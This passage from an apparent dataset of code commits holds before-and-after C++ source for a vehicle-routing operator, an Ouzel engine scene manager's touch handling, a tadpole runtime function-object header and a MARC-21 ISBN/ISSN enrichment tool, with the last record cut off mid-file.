                                   t_delivery,\n                                                           t_route.begin() +\n                                                             t_rank + 1,\n                                                           t_route.end(),\n                                                           s_rank + 1,\n                                                           s_route.size());\n\n  valid &= target.is_valid_addition_for_capacity_inclusion(_input,\n                                                           s_delivery,\n                                                           s_route.begin() +\n                                                             s_rank + 1,\n                                                           s_route.end(),\n                                                           t_rank + 1,\n                                                           t_route.size());\n\n  return valid;\n}\n\nvoid TwoOpt::apply() {\n  auto nb_source = s_route.size() - 1 - s_rank;\n\n  t_route.insert(t_route.begin() + t_rank + 1,\n                 s_route.begin() + s_rank + 1,\n                 s_route.end());\n  s_route.erase(s_route.begin() + s_rank + 1, s_route.end());\n  s_route.insert(s_route.end(),\n                 t_route.begin() + t_rank + 1 + nb_source,\n                 t_route.end());\n  t_route.erase(t_route.begin() + t_rank + 1 + nb_source, t_route.end());\n}\n\nstd::vector<Index> TwoOpt::addition_candidates() const {\n  return {s_vehicle, t_vehicle};\n}\n\nstd::vector<Index> TwoOpt::update_candidates() const {\n  return {s_vehicle, t_vehicle};\n}\n\n} \/\/ namespace cvrp\n} \/\/ namespace vroom\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include \"SceneManager.h\"\n#include \"Scene.h\"\n#include \"core\/Engine.h\"\n#include \"Node.h\"\n\nnamespace ouzel\n{\n    namespace scene\n    {\n        SceneManager::SceneManager()\n        {\n            sharedEngine->getEventDispatcher()->addEventHandler(eventHandler);\n            eventHandler.windowHandler = std::bind(&SceneManager::handleWindow, this, std::placeholders::_1, std::placeholders::_2);\n            eventHandler.mouseHandler = std::bind(&SceneManager::handleMouse, this, std::placeholders::_1, std::placeholders::_2);\n            eventHandler.touchHandler = std::bind(&SceneManager::handleTouch, this, std::placeholders::_1, std::placeholders::_2);\n        }\n\n        SceneManager::~SceneManager()\n        {\n            sharedEngine->getEventDispatcher()->removeEventHandler(eventHandler);\n        }\n\n        void SceneManager::setScene(const ScenePtr& newScene)\n        {\n            if (scene != newScene)\n            {\n                scene = newScene;\n\n                if (scene)\n                {\n                    scene->recalculateProjection();\n                }\n            }\n        }\n\n        void SceneManager::draw()\n        {\n            if (scene)\n            {\n                scene->draw();\n            }\n        }\n\n        void SceneManager::recalculateProjection()\n        {\n            if (scene)\n            {\n                scene->recalculateProjection();\n            }\n        }\n\n        bool SceneManager::handleWindow(Event::Type type, const WindowEvent&)\n        {\n            if (type == Event::Type::WINDOW_SIZE_CHANGE ||\n                type == Event::Type::WINDOW_FULLSCREEN_CHANGE)\n            {\n                recalculateProjection();\n            }\n\n            return true;\n        }\n\n        bool SceneManager::handleMouse(Event::Type type, const MouseEvent& event)\n        {\n            if (scene)\n            {\n                switch (type)\n                {\n                    case Event::Type::MOUSE_DOWN:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerDownOnNode(0, node, event.position);\n                        break;\n                    }\n                    case Event::Type::MOUSE_UP:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(0, node, event.position);\n                        break;\n                    }\n                    case Event::Type::MOUSE_MOVE:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerEnterNode(0, node, event.position);\n\n                        if (scene::NodePtr pointerDownOnNode = getPointerDownOnNode(0))\n                        {\n                            pointerDragNode(0, pointerDownOnNode, event.position);\n                        }\n                        break;\n                    }\n                    default:\n                        break;\n                }\n            }\n\n            return true;\n        }\n\n        bool SceneManager::handleTouch(Event::Type type, const TouchEvent& event)\n        {\n            if (scene)\n            {\n                switch (type)\n                {\n                    case Event::Type::TOUCH_BEGIN:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerDownOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    case Event::Type::TOUCH_END:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    case Event::Type::TOUCH_MOVE:\n                    {\n                        if (scene::NodePtr pointerDownOnNode = getPointerDownOnNode(event.touchId))\n                        {\n                            pointerDragNode(event.touchId, pointerDownOnNode, event.position);\n                        }\n                        break;\n                    }\n                    case Event::Type::TOUCH_CANCEL:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    default:\n                        break;\n                }\n            }\n\n            return true;\n        }\n\n        scene::NodePtr SceneManager::getPointerOnNode(uint64_t pointerId) const\n        {\n            scene::NodePtr result;\n\n            auto i = pointerOnNodes.find(pointerId);\n\n            if (i != pointerOnNodes.end() && !i->second.expired())\n            {\n                result = i->second.lock();\n            }\n\n            return result;\n        }\n\n        scene::NodePtr SceneManager::getPointerDownOnNode(uint64_t pointerId) const\n        {\n            scene::NodePtr result;\n\n            auto i = pointerDownOnNodes.find(pointerId);\n\n            if (i != pointerDownOnNodes.end() && !i->second.expired())\n            {\n                result = i->second.lock();\n            }\n\n            return result;\n        }\n\n        void SceneManager::pointerEnterNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            scene::NodePtr pointerOnNode = getPointerOnNode(pointerId);\n\n            if (pointerOnNode)\n            {\n                if (pointerOnNode == node)\n                {\n                    return;\n                }\n                else\n                {\n                    pointerLeaveNode(pointerId, pointerOnNode, position);\n                }\n            }\n\n            pointerOnNodes[pointerId] = node;\n\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_ENTER_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n\n        void SceneManager::pointerLeaveNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_LEAVE_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n\n            pointerOnNodes.erase(pointerId);\n        }\n\n        void SceneManager::pointerDownOnNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            pointerDownOnNodes[pointerId] = node;\n\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_PRESS_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n\n        void SceneManager::pointerUpOnNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            scene::NodePtr pointerDownOnNode = getPointerDownOnNode(pointerId);\n\n            if (pointerDownOnNode && pointerDownOnNode->isReceivingInput())\n            {\n                Event releaseEvent;\n                releaseEvent.type = Event::Type::UI_RELEASE_NODE;\n\n                releaseEvent.uiEvent.node = pointerDownOnNode;\n                releaseEvent.uiEvent.position = pointerDownOnNode->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(releaseEvent);\n\n                if (pointerDownOnNode == node)\n                {\n                    Event clickEvent;\n                    clickEvent.type = Event::Type::UI_CLICK_NODE;\n\n                    clickEvent.uiEvent.node = pointerDownOnNode;\n                    clickEvent.uiEvent.position = pointerDownOnNode->convertWorldToLocal(position);\n\n                    sharedEngine->getEventDispatcher()->dispatchEvent(clickEvent);\n                }\n            }\n\n            pointerDownOnNodes.erase(pointerId);\n        }\n\n        void SceneManager::pointerDragNode(uint64_t, const scene::NodePtr& node, const Vector2& position)\n        {\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_DRAG_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n<commit_msg>Implement node enter\/leave for touch events<commit_after>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include \"SceneManager.h\"\n#include \"Scene.h\"\n#include \"core\/Engine.h\"\n#include \"Node.h\"\n\nnamespace ouzel\n{\n    namespace scene\n    {\n        SceneManager::SceneManager()\n        {\n            sharedEngine->getEventDispatcher()->addEventHandler(eventHandler);\n            eventHandler.windowHandler = std::bind(&SceneManager::handleWindow, this, std::placeholders::_1, std::placeholders::_2);\n            eventHandler.mouseHandler = std::bind(&SceneManager::handleMouse, this, std::placeholders::_1, std::placeholders::_2);\n            eventHandler.touchHandler = std::bind(&SceneManager::handleTouch, this, std::placeholders::_1, std::placeholders::_2);\n        }\n\n        SceneManager::~SceneManager()\n        {\n            sharedEngine->getEventDispatcher()->removeEventHandler(eventHandler);\n        }\n\n        void SceneManager::setScene(const ScenePtr& newScene)\n        {\n            if (scene != newScene)\n            {\n                scene = newScene;\n\n                if (scene)\n                {\n                    scene->recalculateProjection();\n                }\n            }\n        }\n\n        void SceneManager::draw()\n        {\n            if (scene)\n            {\n                scene->draw();\n            }\n        }\n\n        void SceneManager::recalculateProjection()\n        {\n            if (scene)\n            {\n                scene->recalculateProjection();\n            }\n        }\n\n        bool SceneManager::handleWindow(Event::Type type, const WindowEvent&)\n        {\n            if (type == Event::Type::WINDOW_SIZE_CHANGE ||\n                type == Event::Type::WINDOW_FULLSCREEN_CHANGE)\n            {\n                recalculateProjection();\n            }\n\n            return true;\n        }\n\n        bool SceneManager::handleMouse(Event::Type type, const MouseEvent& event)\n        {\n            if (scene)\n            {\n                switch (type)\n                {\n                    case Event::Type::MOUSE_DOWN:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerDownOnNode(0, node, event.position);\n                        break;\n                    }\n                    case Event::Type::MOUSE_UP:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(0, node, event.position);\n                        break;\n                    }\n                    case Event::Type::MOUSE_MOVE:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerEnterNode(0, node, event.position);\n\n                        if (scene::NodePtr pointerDownOnNode = getPointerDownOnNode(0))\n                        {\n                            pointerDragNode(0, pointerDownOnNode, event.position);\n                        }\n                        break;\n                    }\n                    default:\n                        break;\n                }\n            }\n\n            return true;\n        }\n\n        bool SceneManager::handleTouch(Event::Type type, const TouchEvent& event)\n        {\n            if (scene)\n            {\n                switch (type)\n                {\n                    case Event::Type::TOUCH_BEGIN:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerDownOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    case Event::Type::TOUCH_END:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    case Event::Type::TOUCH_MOVE:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerEnterNode(0, node, event.position);\n                        \n                        if (scene::NodePtr pointerDownOnNode = getPointerDownOnNode(event.touchId))\n                        {\n                            pointerDragNode(event.touchId, pointerDownOnNode, event.position);\n                        }\n                        break;\n                    }\n                    case Event::Type::TOUCH_CANCEL:\n                    {\n                        scene::NodePtr node = scene->pickNode(event.position);\n                        pointerUpOnNode(event.touchId, node, event.position);\n                        break;\n                    }\n                    default:\n                        break;\n                }\n            }\n\n            return true;\n        }\n\n        scene::NodePtr SceneManager::getPointerOnNode(uint64_t pointerId) const\n        {\n            scene::NodePtr result;\n\n            auto i = pointerOnNodes.find(pointerId);\n\n            if (i != pointerOnNodes.end() && !i->second.expired())\n            {\n                result = i->second.lock();\n            }\n\n            return result;\n        }\n\n        scene::NodePtr SceneManager::getPointerDownOnNode(uint64_t pointerId) const\n        {\n            scene::NodePtr result;\n\n            auto i = pointerDownOnNodes.find(pointerId);\n\n            if (i != pointerDownOnNodes.end() && !i->second.expired())\n            {\n                result = i->second.lock();\n            }\n\n            return result;\n        }\n\n        void SceneManager::pointerEnterNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            scene::NodePtr pointerOnNode = getPointerOnNode(pointerId);\n\n            if (pointerOnNode)\n            {\n                if (pointerOnNode == node)\n                {\n                    return;\n                }\n                else\n                {\n                    pointerLeaveNode(pointerId, pointerOnNode, position);\n                }\n            }\n\n            pointerOnNodes[pointerId] = node;\n\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_ENTER_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n\n        void SceneManager::pointerLeaveNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_LEAVE_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n\n            pointerOnNodes.erase(pointerId);\n        }\n\n        void SceneManager::pointerDownOnNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            pointerDownOnNodes[pointerId] = node;\n\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_PRESS_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n\n        void SceneManager::pointerUpOnNode(uint64_t pointerId, const scene::NodePtr& node, const Vector2& position)\n        {\n            scene::NodePtr pointerDownOnNode = getPointerDownOnNode(pointerId);\n\n            if (pointerDownOnNode && pointerDownOnNode->isReceivingInput())\n            {\n                Event releaseEvent;\n                releaseEvent.type = Event::Type::UI_RELEASE_NODE;\n\n                releaseEvent.uiEvent.node = pointerDownOnNode;\n                releaseEvent.uiEvent.position = pointerDownOnNode->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(releaseEvent);\n\n                if (pointerDownOnNode == node)\n                {\n                    Event clickEvent;\n                    clickEvent.type = Event::Type::UI_CLICK_NODE;\n\n                    clickEvent.uiEvent.node = pointerDownOnNode;\n                    clickEvent.uiEvent.position = pointerDownOnNode->convertWorldToLocal(position);\n\n                    sharedEngine->getEventDispatcher()->dispatchEvent(clickEvent);\n                }\n            }\n\n            pointerDownOnNodes.erase(pointerId);\n        }\n\n        void SceneManager::pointerDragNode(uint64_t, const scene::NodePtr& node, const Vector2& position)\n        {\n            if (node && node->isReceivingInput())\n            {\n                Event event;\n                event.type = Event::Type::UI_DRAG_NODE;\n\n                event.uiEvent.node = node;\n                event.uiEvent.position = node->convertWorldToLocal(position);\n\n                sharedEngine->getEventDispatcher()->dispatchEvent(event);\n            }\n        }\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2021 ASMlover. All rights reserved.\n\/\/\n\/\/  ______             __                  ___\n\/\/ \/\\__  _\\           \/\\ \\                \/\\_ \\\n\/\/ \\\/_\/\\ \\\/    __     \\_\\ \\  _____     ___\\\/\/\\ \\      __\n\/\/    \\ \\ \\  \/'__`\\   \/'_` \\\/\\ '__`\\  \/ __`\\\\ \\ \\   \/'__`\\\n\/\/     \\ \\ \\\/\\ \\L\\.\\_\/\\ \\L\\ \\ \\ \\L\\ \\\/\\ \\L\\ \\\\_\\ \\_\/\\  __\/\n\/\/      \\ \\_\\ \\__\/.\\_\\ \\___,_\\ \\ ,__\/\\ \\____\/\/\\____\\ \\____\\\n\/\/       \\\/_\/\\\/__\/\\\/_\/\\\/__,_ \/\\ \\ \\\/  \\\/___\/ \\\/____\/\\\/____\/\n\/\/                             \\ \\_\\\n\/\/                              \\\/_\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/\n\/\/  * Redistributions of source code must retain the above copyright\n\/\/    notice, this list ofconditions and the following disclaimer.\n\/\/\n\/\/  * Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in\n\/\/    the documentation and\/or other materialsprovided with the\n\/\/    distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/ INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/ BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/ ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n#pragma once\n\n#include \"object.hh\"\n#include \"string_object.hh\"\n\nnamespace tadpole {\n\nclass Chunk;\n\nclass FunctionObject final : public BaseObject {\n  StringObject* name_{};\n  sz_t arity_{};\n  sz_t upvalues_count_{};\n  Chunk* chunk_{};\npublic:\n  FunctionObject(StringObject* name = nullptr) noexcept;\n  virtual ~FunctionObject();\n\n  inline FunctionObject* name() const noexcept { return name_; }\n  inline const char* name_asstr() const noexcept { return name_ ? name_->cstr() : \"<tadpole>\"; }\n  inline void set_name(StringObject* name) noexcept { name_ = name; }\n  inline sz_t arity() const noexcept { return arity_; }\n  inline sz_t inc_arity() noexcept { return arity_++; }\n  inline sz_t upvalues_count() const noexcept { return upvalues_count_; }\n  inline sz_t inc_upvalues_count() noexcept { return upvalues_count_++; }\n  inline Chunk* chunk() const noexcept { return chunk_; }\n\n  virtual str_t stringify() const override;\n  virtual void iter_children(ObjectVisitor&& visitor) override;\n\n  static FunctionObject* create(StringObject* name = nullptr);\n};\n\n}\n<commit_msg>:construction: chore(function-object): add function object implementation<commit_after>\/\/ Copyright (c) 2021 ASMlover. All rights reserved.\n\/\/\n\/\/  ______             __                  ___\n\/\/ \/\\__  _\\           \/\\ \\                \/\\_ \\\n\/\/ \\\/_\/\\ \\\/    __     \\_\\ \\  _____     ___\\\/\/\\ \\      __\n\/\/    \\ \\ \\  \/'__`\\   \/'_` \\\/\\ '__`\\  \/ __`\\\\ \\ \\   \/'__`\\\n\/\/     \\ \\ \\\/\\ \\L\\.\\_\/\\ \\L\\ \\ \\ \\L\\ \\\/\\ \\L\\ \\\\_\\ \\_\/\\  __\/\n\/\/      \\ \\_\\ \\__\/.\\_\\ \\___,_\\ \\ ,__\/\\ \\____\/\/\\____\\ \\____\\\n\/\/       \\\/_\/\\\/__\/\\\/_\/\\\/__,_ \/\\ \\ \\\/  \\\/___\/ \\\/____\/\\\/____\/\n\/\/                             \\ \\_\\\n\/\/                              \\\/_\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/\n\/\/  * Redistributions of source code must retain the above copyright\n\/\/    notice, this list ofconditions and the following disclaimer.\n\/\/\n\/\/  * Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in\n\/\/    the documentation and\/or other materialsprovided with the\n\/\/    distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/ INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/ BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/ ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n#pragma once\n\n#include \"object.hh\"\n#include \"string_object.hh\"\n\nnamespace tadpole {\n\nclass Chunk;\n\nclass FunctionObject final : public BaseObject {\n  StringObject* name_{};\n  sz_t arity_{};\n  sz_t upvalues_count_{};\n  Chunk* chunk_{};\npublic:\n  FunctionObject(StringObject* name = nullptr) noexcept;\n  virtual ~FunctionObject();\n\n  inline StringObject* name() const noexcept { return name_; }\n  inline const char* name_asstr() const noexcept { return name_ ? name_->cstr() : \"<tadpole>\"; }\n  inline void set_name(StringObject* name) noexcept { name_ = name; }\n  inline sz_t arity() const noexcept { return arity_; }\n  inline sz_t inc_arity() noexcept { return arity_++; }\n  inline sz_t upvalues_count() const noexcept { return upvalues_count_; }\n  inline sz_t inc_upvalues_count() noexcept { return upvalues_count_++; }\n  inline Chunk* chunk() const noexcept { return chunk_; }\n\n  virtual str_t stringify() const override;\n  virtual void iter_children(ObjectVisitor&& visitor) override;\n\n  static FunctionObject* create(StringObject* name = nullptr);\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\file    add_isbns_or_issns_to_articles.cc\n *  \\brief   A tool for adding missing ISBN's (field 020$a) or ISSN's (field 773$x)to articles entries,\n *           in MARC-21 data.\n *  \\author  Dr. Johannes Ruscheinski\n *\/\n\n\/*\n    Copyright (C) 2015-2018, Library of the University of Tübingen\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <unordered_map>\n#include <cstdlib>\n#include <cstring>\n#include \"MARC.h\"\n#include \"MiscUtil.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << progname << \" master_marc_input marc_output\\n\";\n    std::cerr << \"  Adds host\/parent\/journal ISBNs and ISSNs to article entries found in the\\n\";\n    std::cerr << \"  master_marc_input and writes this augmented file as marc_output.  The ISBNs and ISSNs are\\n\";\n    std::cerr << \"  extracted from superior entries found in master_marc_input.\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nvoid PopulateParentIdToISBNAndISSNMap(\n    MARC::Reader * const marc_reader,\n    std::unordered_map<std::string, std::string> * const parent_id_to_isbn_and_issn_map)\n{\n    LOG_INFO(\"Starting extraction of ISBN's and ISSN's.\");\n\n    unsigned count(0), extracted_isbn_count(0), extracted_issn_count(0);\n    std::string err_msg;\n    while (const MARC::Record record = marc_reader->read()) {\n        ++count;\n\n        if (not record.isSerial() and not record.isMonograph())\n            continue;\n\n        \/\/ Try to see if we have an ISBN:\n        const auto field_020(record.findTag(\"020\"));\n        if (field_020 != record.end()) {\n            const std::string isbn(field_020->getFirstSubfieldWithCode('a'));\n            if (not isbn.empty()) {\n                (*parent_id_to_isbn_and_issn_map)[record.getControlNumber()] = isbn;\n                ++extracted_isbn_count;\n                continue;\n            }\n        } else\n            continue;\n\n        std::string issn;\n        \/\/ 1. First try to get an ISSN from 029$a, (according to the BSZ's PICA-to-MARC mapping\n        \/\/ documentation this contains the \"authorised\" ISSN) but only if the indicators are correct:\n        for (const auto &_029_field : record.getTagRange(\"029\")) {\n            const auto subfields(_029_field.getSubfields());\n\n            \/\/ We only want fields with indicators 'x' and 'a':\n            if (_029_field.getIndicator1() != 'x' or _029_field.getIndicator2() != 'a')\n                continue;\n\n            issn = subfields.getFirstSubfieldWithCode('a');\n            if (not issn.empty()) {\n                (*parent_id_to_isbn_and_issn_map)[record.getControlNumber()] = issn;\n                ++extracted_issn_count;\n            }\n        }\n\n        \/\/ 2. If we don't already have an ISSN check 022$a as a last resort:\n        if (issn.empty()) {\n            const auto field_022(record.findTag(\"022\"));\n            if (field_022 != record.end()) {\n                issn = field_022->getFirstSubfieldWithCode('a');\n                if (not issn.empty()) {\n                    (*parent_id_to_isbn_and_issn_map)[record.getControlNumber()] = issn;\n                    ++extracted_issn_count;\n                }\n            }\n        }\n    }\n\n    if (not err_msg.empty())\n        LOG_ERROR(err_msg);\n\n    LOG_INFO(\"Read \" + std::to_string(count) + \" records.\");\n    LOG_INFO(\"Extracted \" + std::to_string(extracted_isbn_count) + \" ISBNs.\");\n    LOG_INFO(\"Extracted \" + std::to_string(extracted_issn_count) + \" ISSNs.\");\n}\n\n\nvoid AddMissingISBNsOrISSNsToArticleEntries(MARC::Reader * const marc_reader,\n                                            MARC::Writer * const marc_writer, const std::unordered_map<std::string,\n                                            std::string> &parent_id_to_isbn_and_issn_map)\n{\n    LOG_INFO(\"Starting augmentation of article entries.\");\n\n    unsigned count(0), isbns_added(0), issns_added(0), missing_host_record_ctrl_num_count(0),\n             missing_isbn_or_issn_count(0);\n    while (MARC::Record record = marc_reader->read()) {\n        ++count;\n\n        if (not record.isArticle()) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        const auto _773_field(record.findTag(\"773\"));\n        if (_773_field == record.end()) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        auto subfields(_773_field->getSubfields());\n        if (subfields.hasSubfield('x')) {\n            marc_writer->write(record);\n            continue;\n        }\n\n        if (not subfields.hasSubfield('w')) {       \/\/ Record control number of Host Item Entry.\n            marc_writer->write(record);\n            ++missing_host_record_ctrl_num_count;\n            continue;\n        }\n\n        std::string host_id(subfields.getFirstSubfieldWithCode('w'));\n        if (StringUtil::StartsWith(host_id, \"(DE-576)\"))\n            host_id = host_id.substr(8);\n        const auto &parent_isbn_or_issn_iter(parent_id_to_isbn_and_issn_map.find(host_id));\n        if (parent_isbn_or_issn_iter == parent_id_to_isbn_and_issn_map.end()) {\n            marc_writer->write(record);\n            ++missing_isbn_or_issn_count;\n            continue;\n        }\n\n        if (MiscUtil::IsPossibleISSN(parent_isbn_or_issn_iter->second)) {\n            subfields.addSubfield('x', parent_isbn_or_issn_iter->second);\n            _773_field->setSubfields(subfields);\n            ++issns_added;\n        } else { \/\/ Deal with ISBNs.\n            auto _020_field(record.findTag(\"020\"));\n            if (_020_field == record.end()) {\n                record.insertField(\"020\", { { 'a', parent_isbn_or_issn_iter->second } });\n                ++isbns_added;\n            } else if (_020_field->getFirstSubfieldWithCode('a').empty()) {\n                _020_field->appendSubfield('a', parent_isbn_or_issn_iter->second);\n                ++isbns_added;\n            }\n        }\n        marc_writer->write(record);\n    }\n\n    LOG_INFO(\"Read \" + std::to_string(count) + \" records.\");\n    LOG_INFO(\"Added ISBN's to \" + std::to_string(isbns_added) + \" article record(s).\");\n    LOG_INFO(\"Added ISSN's to \" + std::to_string(issns_added) + \" article record(s).\");\n    LOG_INFO(std::to_string(missing_host_record_ctrl_num_count) +\n             \" articles had missing host record control number(s).\");\n    LOG_INFO(\"For \" + std::to_string(missing_isbn_or_issn_count) + \" articles no host ISBN nor ISSN was found.\");\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char **argv) {\n    if (argc < 3)\n        Usage();\n\n    const std::string marc_input_filename(argv[1]);\n    const std::string marc_output_filename(argv[2]);\n    if (unlikely(marc_input_filename == marc_output_filename))\n        LOG_ERROR(\"Master input file name equals output file name!\");\n\n    auto marc_reader(MARC::Reader::Factory(marc_input_filename));\n    auto marc_writer(MARC::Writer::Factory(marc_output_filename));\n\n    std::unordered_map<std::string, std::string> parent_id_to_isbn_and_issn_map;\n    PopulateParentIdToISBNAndISSNMap(marc_reader.get(), &parent_id_to_isbn_and_issn_map);\n    marc_reader->rewind();\n\n    AddMissingISBNsOrISSNsToArticleEntries(marc_reader.get(), marc_writer.get(),\n                                           parent_id_to_isbn_and_issn_map);\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>Inherit open access status from parent.<commit_after>\/** \\file    add_isbns_or_issns_to_articles.cc\n *  \\brief   A tool for adding missing ISBN's (field 020$a) or ISSN's (field 773$x)to articles entries,\n *           in MARC-21 data.\n *  \\author  Dr. Johannes Ruscheinski\n *\/\n\n\/*\n    Copyright (C) 2015-2018, Library of the University of Tübingen\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    